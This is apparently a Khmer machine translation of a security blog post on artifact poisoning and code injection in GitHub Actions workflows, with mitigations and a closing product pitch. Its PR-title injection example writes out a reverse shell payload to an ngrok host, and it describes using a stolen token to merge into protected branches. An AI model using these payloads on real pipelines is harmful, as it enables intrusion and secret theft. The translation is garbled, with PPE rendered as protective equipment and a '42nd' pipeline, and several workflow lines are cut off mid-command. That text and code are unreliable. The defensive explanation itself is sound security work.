លើប្រកាសមុនៗ (សូមមើល ពុលដោយប្រយោល Pipeline ការប្រតិបត្តិ I-PPE និង ពុល Pipeline សម្ភារៈការពារផ្ទាល់ខ្លួន (PPE) សម្រាប់អនុវត្ត យើងបានដោះស្រាយជាចម្បងជាមួយ PPE (ពុល Pipeline ការប្រតិបត្តិ): យើងបានឃើញពីរបៀបដែលវាដំណើរការ ផលប៉ះពាល់របស់វា ការកេងប្រវ័ញ្ចមួយចំនួន ក៏ដូចជាវិធីមួយចំនួនដើម្បីការពារប្រឆាំងនឹងវា។
ប្រកាសនេះស៊ីជម្រៅទៅលើចំណុចផ្សេងទៀត CI/CD pipeline ចំណុចខ្សោយដូចជា Artifact Poisoning និង Code Injection។
ដើម្បីធ្វើវា យើងនឹងផ្អែកលើ PPE ដូច្នេះសូមសង្ខេបខ្លីៗអំពីអ្វីដែលយើងបានឃើញអំពី PPE។
ការងារពីមុនលើ PPE
សរុបមក យើងបានចាប់ផ្តើមជាមួយ GitHub មូលដ្ឋាន pipeline ដើម្បីបង្កើត និងសាកល្បងកូដដែលបានរួមចំណែកតាមរយៈ pull requestក្រៅពីនេះ វាកំណត់ការត្រួតពិនិត្យមួយចំនួន ដែលប្រសិនបើត្រូវបានបំពេញ នឹងបញ្ចូលកូដទៅក្នុងសាខាមេ។ យើងបានដាក់ឈ្មោះវាថា សាច់រឿង #1.

នៅក្នុងអត្ថបទមុនរបស់យើង យើងបានបង្ហាញពីរបៀបដែលមូលដ្ឋាននេះ pipeline គឺ ងាយរងគ្រោះដោយទាំង D-PPE និង I-PPE.
យើងបានគ្រប់គ្រងដើម្បី ជួសជុល D-PPE by ការកែប្រែព្រឹត្តិការណ៍បង្ក ពី សំណើ_ទាញ ទៅ ទាញ_សំណើ_គោលដៅ, ធ្វើឱ្យ pipeline មានសុវត្ថិភាពចំពោះ D-PPE. ជាការរំលឹក, pipelines ដែលបង្កឡើងនៅលើព្រឹត្តិការណ៍ pull_request_target នឹងប្រតិបត្តិមូលដ្ឋាន pipeline លេខកូដ មិនមែន pipeline កូដដែលមាននៅក្នុង pull request.
យើងបានដាក់ឈ្មោះរឿងនេះថា សាច់រឿង #2.

ជាលទ្ធផលនៃការកែប្រែនេះ យើងបានបង្ហាញថា សេណារីយ៉ូទី 2 នៅតែងាយរងគ្រោះដោយសារ I-PPE.
ដើម្បីជួសជុលវាយើងបានសម្រេចចិត្ត ដើម្បីបំបែក pipeline ទៅជាពីរ៖
- ទី ១ pipeline (បង្កើត CI) នឹង ពិនិត្យមើលលេខកូដ PR (ដើម្បីបង្កើតវា), ធ្វើការសាងសង់ និងបង្កើតវត្ថុបុរាណ។
- ទី ៤២ pipeline (សាកល្បង CI) នឹង ពិនិត្យមើលលេខកូដមូលដ្ឋាន (ដើម្បីជៀសវាងការកែប្រែស្គ្រីបសែល) និងប្រតិបត្តិស្គ្រីបដើមប្រឆាំងនឹងវត្ថុបុរាណ។
- ដើម្បីធ្វើសមកាលកម្ម CI សាកល្បង pipeline ដើម្បីដំណើរការបន្ទាប់ពី Build CI pipeline, យើងនឹងប្រើប្រាស់ ដំណើរការការងារ កេះ។
យើងបានដាក់ឈ្មោះរឿងនេះថា សាច់រឿង #3.

ចូរយើងសង្គ្រោះលេខកូដទាំងពីរ pipelines យោងតាមការកែប្រែទាំងនេះ…
1st pipeline (បង្កើត CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (តេស្ត CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
ការពុលវត្ថុបុរាណ
យោងតាមខាងលើ CI/CD pipelines:
- pipeline បង្កើត CI is សុវត្ថិភាព ទៅទាំងពីរ សម្ភារៈការពារផ្ទាល់ខ្លួន (D-PPE) (ដោយសារតែការ ទាញ_សំណើ_គោលដៅ) និង ឧបករណ៍ការពារផ្ទាល់ខ្លួន (I-PPE) (ព្រោះវាលែងដំណើរការស្គ្រីបសែលទៀតហើយ)។
- pipeline សាកល្បង CI គឺក៏ សុវត្ថិភាព ទៅទាំងពីរ សម្ភារៈការពារផ្ទាល់ខ្លួន (D-PPE) (ដោយសារតែការ ដំណើរការការងារ) និង ឧបករណ៍ការពារផ្ទាល់ខ្លួន (I-PPE) (ព្រោះវាពិនិត្យមើលលេខកូដមូលដ្ឋានដើម្បីទទួលបានស្គ្រីបសែលដើម)
ចូរយើងស្វែងយល់ឱ្យកាន់តែស៊ីជម្រៅអំពី "ដំណោះស្រាយ" នេះ។
Pipeline សាកល្បង CI ទាញយក artifact ជាឯកសារ zip។
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
នៅពេលដែលវាត្រូវបាន unzip វានឹងដំណើរការស្គ្រីបសែល "safe"។ ហេតុអ្វីបានជាខ្ញុំនិយាយថាស្គ្រីបសែល "safe"? ពីព្រោះនៅក្នុងជំហានមុន pipeline ពិនិត្យមើលកូដ "មូលដ្ឋាន" ដូច្នេះស្គ្រីបដើមត្រូវបានដាក់ក្នុងថតឯកសារកន្លែងធ្វើការ។ ដូច្នេះនៅពេលដែល pipeline ប្រតិបត្តិស្គ្រីបសែលដែលវានឹងដំណើរការដោយប្រើប្រព័ន្ធគោលពីរដែលបានទាញយកពីមុន។
បន្ទាប់មកតើអ្វីទៅជា បញ្ហា ជាមួយនឹងវិធីសាស្រ្តនេះ? បញ្ហាកើតឡើង នៅពេលដែលអ្នកប្រើប្រាស់ណាមួយ "បង្កើត" ថ្មី pipeline.
ប្រសិនបើអ្នកប្រើប្រាស់បើក PR ដែលមានថ្មី pipeline, GitHub នឹងប្រតិបត្តិវា pipeline (ដោយផ្តល់លក្ខខណ្ឌមួយចំនួន ដូចដែលយើងបានឃើញពីមុន ក្រោយ).
ដែលបានផ្តល់ឱ្យនេះ, ចុះបើអ្នកប្រើប្រាស់បង្កើតថ្មីវិញ pipeline ដែលមានឈ្មោះដូចគ្នានឹង Build CI? មែនហើយ វាគួរឱ្យភ្ញាក់ផ្អើលណាស់ ប៉ុន្តែ GitHub អនុញ្ញាតឱ្យអ្នកបង្កើតពីរ pipelines ដែលមានឈ្មោះដូចគ្នា!!
ចងចាំថា ការធ្វើតេស្ត CI នឹងត្រូវបានអនុវត្តបន្ទាប់ពី Build CI…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
គួរឱ្យភ្ញាក់ផ្អើលណាស់ ព្រោះឥឡូវនេះមានពីរ pipelines ដែលមានឈ្មោះដូចគ្នា, the pipeline ការធ្វើតេស្ត CI នឹងត្រូវបានអនុវត្តពីរដង: មួយបន្ទាប់ពីឯកសារដើម pipeline និងអ្វីៗផ្សេងទៀតបន្ទាប់ពី "ថ្មី" pipeline.
តើពួក Hacker អាចឆ្លៀតឱកាសពីចំណុចនេះដោយរបៀបណា?
- ដំបូងឡើយ អ្នកប្រើប្រាស់ដែលមានគំនិតអាក្រក់អាចកែប្រែស្គ្រីបសែល ដើម្បីផ្ញើព័ត៌មានសម្ងាត់ទៅកាន់ម៉ាស៊ីនមេដែលគ្រប់គ្រងដោយពួក Hacker។
- ទីពីរ ថ្មី pipeline រួមបញ្ចូលបន្ទាត់មួយដើម្បីចម្លងស្គ្រីបសែលដែលបានកែប្រែទៅក្នុង artifact → ការបំពុលអាទីហ្វាសត!!!
នៅពេលដែលអ្នកប្រើប្រាស់បើក PR ជាមួយនឹងការផ្លាស់ប្តូរទាំងនេះ "ថ្មី" pipeline នឹងត្រូវបានប្រតិបត្តិ (ផ្ទុកឡើងនូវវត្ថុបុរាណដែលមានជាតិពុល) ហើយ Deploy CI pipeline នឹងត្រូវបានប្រតិបត្តិបន្ទាប់ពីនោះ ដែលបណ្តាលឱ្យមាន ស្គ្រីបសែល "កែប្រែ" សរសេរជាន់លើស្គ្រីបសែល "ដើម" ដែលមានទីតាំងនៅ pipeline កន្លែងធ្វើការ.

នេះគឺជាអ្វីដែលយើងហៅថា ការពុលវត្ថុបុរាណពោលគឺឧ សមត្ថភាពក្នុងការកែប្រែ (hack) pipeline តក្កវិជ្ជាតាមរយៈការកែប្រែ pipeline វត្ថុបុរាណ.
អាចធ្វើបាន ការព្យាបាល គឺសាមញ្ញណាស់៖ គ្រាន់តែ unzip វត្ថុបុរាណទៅកាន់ថតរងនៃកន្លែងធ្វើការនឹងជៀសវាងការសរសេរជាន់លើស្គ្រីបសែល "មូលដ្ឋាន"។.
ចាក់កូដ
ក្រៅពីការបំពុលវត្ថុបុរាណ តើអ្នកអាចមើលឃើញចំណុចខ្សោយផ្សេងទៀតនៅក្នុងកូដខាងលើដែរឬទេ?
តោះទៅ!!
ដូចដែលអ្នកអាចមើលឃើញនៅក្នុងលេខកូដ, pipeline Build CI បង្កើតប្រព័ន្ធគោលពីរ វាផ្ទុកឡើងប្រព័ន្ធគោលពីរជា pipeline artifact ហើយក្រៅពីនេះ វាផ្ទុកឡើងទិន្នន័យបន្ថែមមួយចំនួនទៀត៖ ចំណងជើង PR និង លេខសម្គាល់ PR។
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
ហេតុអ្វី? ពីព្រោះដើម្បីបញ្ចូល PR ដូចដែលអ្នកអាចមើលឃើញខាងក្រោម CI សាកល្បង pipeline ត្រូវការលេខសម្គាល់ PR ដើម្បីហៅ GitHub REST API ដែលបញ្ចូល PR ចូលគ្នា។
តើការធ្វើតេស្ត CI យ៉ាងដូចម្តេច pipeline ទទួលបានលេខសម្គាល់ PR នោះ? ការចែករំលែកព័ត៌មាននៅក្នុងឯកសារអត្ថបទ (ផ្នែកមួយនៃ pipeline វត្ថុបុរាណ) គឺជាវិធីទូទៅមួយដើម្បីចែករំលែកព័ត៌មានរវាង pipelines. ហើយនោះហើយជាអ្វីដែលទាំងនេះ pipelineកំពុងធ្វើ។
echo "Merging .."
PR_ID=$(
និយាយឲ្យចំទៅ មានតែ PR Id ប៉ុណ្ណោះដែលត្រូវការដើម្បីបញ្ចូល PR ចូលគ្នា ប៉ុន្តែ pipeline អ្នកគ្រប់គ្រងបានសម្រេចចិត្តថា Build CI ក៏ត្រូវបញ្ចូលចំណងជើង PR ផងដែរ ដូច្នេះ Test CI pipeline នឹងបោះពុម្ពសារព័ត៌មានមួយចំនួនដែលមានទាំង PR ID និងចំណងជើង។
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
ចំណងជើង PR តែងតែជាទិន្នន័យដែលមកពីអ្នកប្រើប្រាស់ ហើយដូច្នេះត្រូវតែចាត់ទុកថាមិនគួរឱ្យទុកចិត្តជានិច្ច។។ ដូច្នេះនេះ pipeline ត្រូវតែដោះស្រាយបែបនេះ និងចាត់វិធានការការពារ។
នៅក្នុងកូដខាងលើ យើងអាចមើលឃើញសារជាក់លាក់ដែលបន្លឺឡើងនូវចំណងជើង PR។ វាគ្រាន់តែជាពាក្យបញ្ជា "echo" របស់ linux ប៉ុណ្ណោះ។
តាមរយៈការបញ្ចូលខ្សែអក្សរ ប្រសិនបើចំណងជើងជា "ចំណងជើងក្លែងក្លាយ" Github បង្កើតស្គ្រីបមួយនៅខាងក្នុងដែលមាន
echo ""a dummy title""
ប៉ុន្តែចុះយ៉ាងណាបើចំណងជើង PR នឹងមានអ្វីមួយដូចនេះ៖
ចំណងជើងព្យាបាទ” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "ស្គ្រីបនឹងក្លាយជា៖
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
ជាលទ្ធផល វាបើក reverse shell ប្រឆាំងនឹង server ដែលគ្រប់គ្រងដោយពួក Hacker។

សំបកបញ្ច្រាសនោះអាចត្រូវបានប្រើដើម្បីចូលប្រើ pipeline អាថ៌កំបាំង (សូមចងចាំថា Test CI កំពុងដំណើរការក្នុងរបៀបសិទ្ធិ ពីព្រោះវាត្រូវបានបង្កឡើងដោយ workflow_run ដូច្នេះវាមានសិទ្ធិចូលប្រើអាថ៌កំបាំង)។
ប៉ុន្តែតើមានអ្វីទៀតដែលអាចធ្វើបានតាមរយៈសំបកបញ្ច្រាសនោះ?
សូមក្រឡេកមើលលេខកូដសាកល្បង CI៖
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
ដូចដែលអ្នកអាចមើលឃើញនៅក្នុង Test CI pipelineពាក្យបញ្ជា curl merge កំពុងប្រើប្រាស់ GITHUB_PAT (កំណត់ជា pipeline env var) ដូច្នេះ runner មាន GITHUB_PAT ជាអថេរបរិស្ថាន។ លើសពីនេះ វាក៏បង្កើត env var ដែលអាន PR ID ផងដែរ។
ដូច្នេះអ្នកលួចចូលប្រព័ន្ធគ្រាន់តែត្រូវចម្លងពាក្យបញ្ជា curl ហើយបិទភ្ជាប់វាទៅក្នុង reverse shell ដោយបញ្ចូល PR ដោយផ្ទាល់ទៅក្នុង protected branch។

ដើម្បីការពារទាំងអស់នេះ៖
- ទៅ ជៀសវាង ការបញ្ចូលខ្សែអក្សរជាមួយទិន្នន័យដែលមិនគួរឱ្យទុកចិត្ត (ងាយរងគ្រោះចំពោះ ការចាក់លេខកូដ) ដោយ កំណត់ pipeline វ៉ារ env ជំនួសឲ្យការប្រើវាដោយផ្ទាល់នៅក្នុងពាក្យបញ្ជា echo
ជំនួសឲ្យការប្រើ៖
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
ប្រើវា៖
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- ទោះបីជាមានការវាយប្រហារលើការចាក់កូដក៏ដោយ ពាក្យបញ្ជា curl merge នឹងមិនទទួលបានជោគជ័យទេ ប្រសិនបើអ្នកបានធ្វើបានត្រឹមត្រូវ បានការពាររបស់អ្នក pull requests តាមរយៈការពិនិត្យឡើងវិញ ឬការអនុម័តជាកាតព្វកិច្ចមួយចំនួន.
សន្និដ្ឋាន
វាពិបាកការពារខ្លះ CI/CD pipelineការកំណត់រចនាសម្ព័ន្ធ s និងទទួលបាន pipelineគ្មានភាពងាយរងគ្រោះ។
នេះមិនមានន័យថានោះទេ។ CI/CD ប្រព័ន្ធនានា (ដូចជា GitHub ក្នុងករណីនេះ) គឺងាយរងគ្រោះដោយខ្លួនឯង។ CI/CD ប្រព័ន្ធផ្តល់មធ្យោបាយដើម្បីការពារប្រឆាំងនឹងភាពងាយរងគ្រោះ ... ប៉ុន្តែវាជាទំនួលខុសត្រូវរបស់អ្នកគ្រប់គ្រងក្នុងការអនុវត្តការការពារទាំងនោះ។
ប៉ុន្តែ ... អ្នកមិនអាចដោះស្រាយភាពងាយរងគ្រោះបានទេ លុះត្រាតែអ្នកដឹងពីអត្ថិភាពរបស់វា!!!
ជាការពិតណាស់ អ្នកគ្រប់គ្រង devops ដែលមានជំនាញខ្ពស់ អាចមានការគំរាមកំហែងទាំងអស់នេះនៅក្នុងចិត្ត ហើយការពារបានត្រឹមត្រូវ CI/CD pipelineប៉ុន្តែទោះបីជាយ៉ាងនេះក្តី វាមានតម្លៃខ្លាំងណាស់ក្នុងការប្រើប្រាស់ផលិតផលមួយដើម្បីរកឃើញភាពងាយរងគ្រោះគ្រប់ប្រភេទនេះ។ ហើយជាការពិតណាស់ ដើម្បីធ្វើស្វ័យប្រវត្តិកម្មដំណើរការឃុំឃាំងភាពងាយរងគ្រោះនេះ (ឧទាហរណ៍ ការដំណើរការស្កេនជាផ្នែកមួយនៃ CI/CD pipelines) ។
វិធីសាស្រ្តនេះអាចត្រូវបានគេហៅថា "ច្រកទ្វារសន្តិសុខ”៖
- បង្កើតថ្មី pipeline (ច្រកទ្វារសន្តិសុខ) ដើម្បីពិនិត្យមើល CI/CD pipelineភាពងាយរងគ្រោះ និងធ្វើឱ្យ CI ផ្សេងទៀត pipelineត្រូវអនុវត្តលុះត្រាតែការបញ្ចប់ទ្វារសុវត្ថិភាពដោយជោគជ័យ pipeline.
- ច្រកទ្វារសន្តិសុខ pipelines នឹងពិនិត្យមើល CI/CD pipelineចំណុចខ្សោយ និង
- ប្រសិនបើរកឃើញចំណុចខ្សោយ វានឹងបរាជ័យ ហើយដូច្នេះ ចំណុចខ្សោយផ្សេងទៀត pipelines នឹងមិនត្រូវបានប្រតិបត្តិទេ។
- ប្រសិនបើមិនរកឃើញចំណុចខ្សោយទេ pipeline នឹងទទួលបានជោគជ័យ និងអ្នកដទៃ pipelines នឹងដំណើរការដូចធម្មតា។








